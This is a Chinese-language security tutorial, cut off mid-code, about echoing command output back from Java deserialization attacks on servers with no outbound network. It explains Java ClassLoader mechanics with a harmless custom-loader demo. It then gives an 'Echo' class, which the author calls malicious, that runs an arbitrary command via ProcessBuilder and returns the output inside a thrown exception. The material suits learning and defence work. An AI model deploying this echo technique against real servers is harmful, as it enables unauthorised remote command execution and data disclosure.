java反序列化回显
在很多不出网的情况下,一种是写webshell(内存嘛),另一种就是回显,本文先学习回显,回显的主要方式有一下几种。
- defineClass
- RMI绑定实例
- URLClassLoader抛出异常
- 中间件
- 写文件css、js
- dnslog
前面有多多少了解过ClassLoader本篇花费一节仔细学习一下
1、前置知识
classloader顾名思义,即是类加载。虚拟机把描述类的数据从class字节码文件加载到内存,并对数据进行检验、转换解析和初始化,最终形成可以被虚拟机直接使用的Java类型,这就是虚拟机的类加载机
1.1、ClassLoader加载过程
主要是三个阶段
第一个阶段是加载,把.class文件加载到内存,并为它创建一个java.lang.Class对象
第二个阶段是连接,连接包括三阶段
验证:确保加载的类信息符合JVM规范,无安全方面的问题。
准备:为类的静态Field分配内存,并设置初始值,变量的初始值,如:int=0。
解析:将类的二进制数据中的符号引用替换成直接引用。
第三阶段是初始化
1、优先对该类的父类进行初始化,然后对static修饰的变量和代码块进行初始化
1.2、classloader双亲委托机制
当一个类加载的过程中,它首先不会去加载,而是委托给自己的父类去加载,父类又委托给自己的父类。因此所有的类加载都会委托给顶层的父类,即Bootstrap Classloader进行加载,然后父类自己无法完成这个加载请求,子加载器才会尝试自己去加载
1.启动类加载器(Bootstrap Classloader)负责将<JAVA_HOME>/lib目录下并且被虚拟机识别的类库加载到虚拟机内存中。我们常用基础库,例如java.util.,java.io.,java.lang.**等等都是由根加载器加载
2.扩展类加载器(Extention Classloader)负责加载JVM扩展类,比如swing系列、内置的js引擎、xml解析器等,这些类库以javax开头,它们的jar包位于<JAVA_HOME>/lib/ext目录中
3.应用程序加载器(Application Classloader)也叫系统类加载器,它负责加载用户路径(ClassPath)上所指定的类库。我们自己编写的代码以及使用的第三方的jar包都是由它来加载的
4.自定义加载器(Custom Classloader)通常是我们为了某些特殊目的实现的自定义加载器
1.3、ClassLoader类 核心方法
1.loadClass(String className),根据名字加载一个类。
2.defineClass(String name, byte[] b, int off, int len),将一个字节流定义为一个类。
3.findClass(String name),查找一个类。
4.findLoadedClass(String name),在已加载的类中,查找一个类。
1.4、自定义Classloader
当加载一个类时,会首先从已经加载的类里面去查找这个类。如果类未加载,且如果父加载器不为空,则调用父加载器的loadClass方法进行加载,如果父加载器为空,则调用BootStrap class loader加载。如果依然没有加载到类,则调用findClass方法。而findClass方法是需要子类重写的。所以我们只需要继承classLoader重写findClass方法就可以实现自定义ClassLoader
1、继承classLoader
2、重写findClass()方法
3、在findClass()中调用defineClass
编写测试类
package com.akkacloud.demo;
import java.io.*;
import java.util.Arrays;
public class test {
public void testclassloder() {
System.out.println("test classloader");
}
}
编译成class文件
编写自己的classLoder
package com.akkacloud.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class myClassloader extends ClassLoader{
private static String ClassName = "com.akkacloud.demo.test";
//获取class文件,转换成byte
private static byte[] getbyte() throws IOException {
InputStream is = new FileInputStream(new File("/Users/akka/Downloads/deserialzeEcho/src/main/java/com/akkacloud/demo/test.class"));
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int temp;
while ((temp = is.read(bytes)) != -1) {
outputStream.write(bytes, 0, temp);
}
//转换后的byte[]
byte[] finalBytes = outputStream.toByteArray();
return finalBytes;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
//如果类名为我们定的类
if(name==ClassName){
try {
//从字节中获取一个类
return defineClass(ClassName, getbyte(),0,getbyte().length);
} catch (IOException e) {
e.printStackTrace();
}
}
return super.findClass(name);
}
public static void main(String[] args) throws ClassNotFoundException {
//新建自定义的类加载器
myClassloader myClassloader = new myClassloader();
Class<?> aClass = myClassloader.loadClass(ClassName);
try {
//反射调用类的方法
Object o = aClass.newInstance();
Method declaredMethod = aClass.getMethod("testclassloder", null);
declaredMethod.invoke(o, null);
} catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
}
2、defineClass异常回显
首先新建恶意异常回显类,并且编译成class文件
package com.akkacloud.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Echo {
public Echo(String cmd) throws Exception {
ProcessBuilder processBuilder = new ProcessBuilder(new String[]{cmd});
Process start = processBuilder.start();
InputStream inputStream = start.getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuffer stringBuffer = new StringBuffer();
String line =null;
while ((line = bufferedReader.readLine()) != null) {
stringBuffer.append(line).append("\n");
}
throw new Exception(stringBuffer.toString());
}
}
新建自己的classLoder
package com.akkacloud.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class myClassloader extends ClassLoader{
private static String ClassName = "com.akkacloud.demo.Echo";
//获取class文件&